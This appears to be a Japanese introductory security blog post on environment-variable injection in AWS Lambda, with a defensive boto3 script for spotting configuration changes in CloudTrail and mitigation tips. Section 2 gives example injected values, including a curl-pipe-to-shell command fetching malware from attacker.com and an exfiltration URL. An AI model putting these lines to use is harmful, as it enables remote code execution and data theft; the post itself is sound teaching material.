こんにちは!セキュリティの世界へようこそ。インシデントレスポンス(DFIR)の現場で日々、泥臭い調査やログとのにらめっこをしているSOCアナリストです。
今回は、最近のクラウド開発で大人気のアマゾンウェブサービス(AWS)のLambdaなどに代表される「Serverless(サーバーレス)環境」をテーマにお話しします。「サーバーを管理しなくていいから楽チン!」と飛びつきがちですが、実はそこに攻撃者が隠れて狙う「盲点」があるんです。
今回は、新人のIT担当者や、セキュリティに初めて触れる一般開発者の方に向けて、「環境変数インジェクション」というちょっと怖そうな攻撃を、身近な防犯に例えて優しく紐解いていきたいと思います。一歩ずつ、安心して学んでいきましょう!
—
1. 家の「合鍵」と「メモ用紙」に例えるサーバーレスの仕組み
まずは、私たちが普段暮らす「家」に例えて考えてみましょう。
従来のサーバーというのは、いわば「一軒家」のようなものです。あなた自身が鍵を管理し、掃除をし、時には見張りを置く必要があります。
一方で、サーバーレス(Lambdaなど)は、いわば「超高性能なホテルのワンルーム」です。あなたが部屋(コード)を持ち込むだけで、掃除も水道管の管理も、ホテルのオーナー(クラウド事業者)が全部やってくれます。すごく便利ですよね。
このホテルの部屋には、家電を動かすための設定や、Wi-Fiのパスワードなどをメモした「ホワイトボード(環境変数)」が壁に貼ってあります。プログラムはこのボードを見て、「あ、Wi-Fiのパスワードはこれなんだな」と理解して動き出します。
攻撃者はどこを狙うのか?
もし、悪意ある泥棒(攻撃者)が、このホテルのフロント係や、あなたの隙をついて、こっそり部屋の壁にあるホワイトボードのメモ(環境変数)を書き換えたらどうなるでしょうか?
泥棒は、Wi-Fiのパスワードの代わりに、「外にある怪しい泥棒のアジト(外部サーバー)のURL」を書き込んでしまうかもしれません。そうすると、あなたが部屋の中で何か大事なデータを取り扱うたびに、そのデータが知らぬ間に泥棒のアジトへこっそり送信されてしまいます。これが、今回お話しする「環境変数インジェクション」の正体です。
—
2. なぜ環境変数が狙われるのか?(攻撃のメカニズム)
開発者の皆さんは、「プログラムのソースコード(中身)には変なバグがないか一生懸命チェックする」のですが、つい「動かすための設定ファイルや環境変数」のチェックを甘く見てしまいがちです。
攻撃者は、アプリケーションのちょっとした脆弱性(例えば、外から勝手に設定を変えられるような不具合)を突いて、環境変数に次のような危険な文字列をねじ込もうとします。
https://ngrok.io/secret-exfil(データをこっそり持ち出すための怪しい外部URL)os.system('curl http://attacker.com/malware.sh | sh')(外部から悪いプログラムをダウンロードして実行しちゃうコード)
プログラム側が「環境変数は絶対安全なものだ」と何の疑いも持たずにそれを信じ込んでしまうと、見事に攻撃者の罠にハマってしまうわけです。
—
3. 泥棒の足あとを見つける!CloudTrailログの監視
「じゃあ、もし誰かが勝手にホワイトボードを書き換えたら、どうやって気づけばいいの?」と思いますよね。
ここで私たちSOCアナリストの出番です。クラウドの世界では、誰が・いつ・どこを触ったのかという履歴(監査ログ)がすべて残るようになっています。AWSであれば CloudTrail というサービスがその役割を担っています。
例えば、Lambdaの設定(環境変数など)が変更されたときには、UpdateFunctionConfiguration というイベントが記録されます。ここを監視するのが、インシデント検知の第一歩です。
実際に監視してみよう(設定変更のログを追うイメージ)
実務で使えるような、AWS Lambdaの設定変更を検知・分析するためのPythonスクリプト(Boto3を使用)のサンプルを見てみましょう。難しく考えず、「誰かが設定をいじった履歴を探すプログラムなんだな」と捉えてください。
import boto3
from datetime import datetime, timedelta
def check_lambda_environment_changes():
# CloudTrailクライアントを初期化します
client = boto3.client('cloudtrail', region_name='ap-northeast-1')
# 過去24時間のログを調査対象にします
end_time = datetime.utcnow()
start_time = end_time - timedelta(days=1)
print(f"[*] 調査期間: {start_time} から {end_time} まで")
try:
# CloudTrailのイベント履歴からLambdaの設定変更イベントを検索
response = client.lookup_events(
LookupAttributes=[
{
'AttributeKey': 'EventName',
'AttributeValue': 'UpdateFunctionConfiguration20150331' # Lambda設定変更のAPI名
}
],
StartTime=start_time,
EndTime=end_time
)
# 変更履歴が見つかった場合の処理
for event in response.get('Events', []):
event_name = event['EventName']
username = event.get('Username', '不明なユーザー')
event_time = event['EventTime']
print(f"[!] 警告: Lambdaの設定変更が検知されました!")
print(f" - 実行時間: {event_time}")
print(f" - 操作した人/ロール: {username}")
print(f" - イベント詳細: {event['CloudTrailEvent'][:200]}...") # ログの冒頭を表示
# TODO: ここでSlackやTeamsに通知を飛ばす処理を追加すると実用的です!
except Exception as e:
print(f"[-] エラーが発生しました: {str(e)}")
if __name__ == "__main__":
check_lambda_environment_changes()
このように、誰がいつ設定を変えたのかを定期的にチェックする仕組みを作っておくだけで、不正な変更(ホワイトボードの書き換え)に素早く気づくことができるようになります。
—
4. 今日からできる!安全なサーバーレス環境を守るための対策
最後に、私たちが実務で実践している、サーバーレス環境を守るための具体的なアプローチをご紹介します。どれも今日から一歩ずつ始められることばかりですよ!
1. 「最小権限の原則」を徹底する(鍵の管理を厳重にする)
- 誰でも彼でもLambdaの設定を変えられる権限(IAMロール)を与えていませんか?「設定を変えていいのは限られた管理者のロールだけ」に絞り込みましょう。これは、家族以外の人が勝手に合鍵を作れないようにするのと同じです。
2. 環境変数の中身をアプリ側で厳しくチェックする(入力検証)
- プログラムが起動したとき、環境変数に読み込んだ値が「怪しいURLになっていないか」「変なコードが混ざっていないか」をコードの最初で必ずチェック(バリデーション)するようにしましょう。「来訪者の身分証を必ず玄関でチェックする」ようなイメージです。
3. 変更履歴のアラートを自動化する
- 先ほど紹介したようなCloudTrailのログ監視や、AWS Config、Amazon GuardDutyといったセキュリティサービスを組み合わせて、怪しい変更があった瞬間にスマホやチャットに通知が飛ぶ仕組みを整えましょう。
—
まとめ
サーバーレス環境での環境変数インジェクションは、一見すると見落としがちなクラウドならではの巧妙な罠です。しかし、「誰が設定を変えたのか(CloudTrail)」をしっかりと見張り、「アプリ側でも油断せずにチェックする」という基本の防犯対策をしっかり行えば、十分に防ぐことができます。
セキュリティは一度に完璧を目指す必要はありません。「昨日の自分より、少しだけ強固なシステムにする」。その積み重ねが、あなたと組織の大切なデータを守る盾になります。
一歩ずつ、安全な開発ライフを楽しんでいきましょう!それでは、また次のSOCの現場でお会いしましょう。
コメント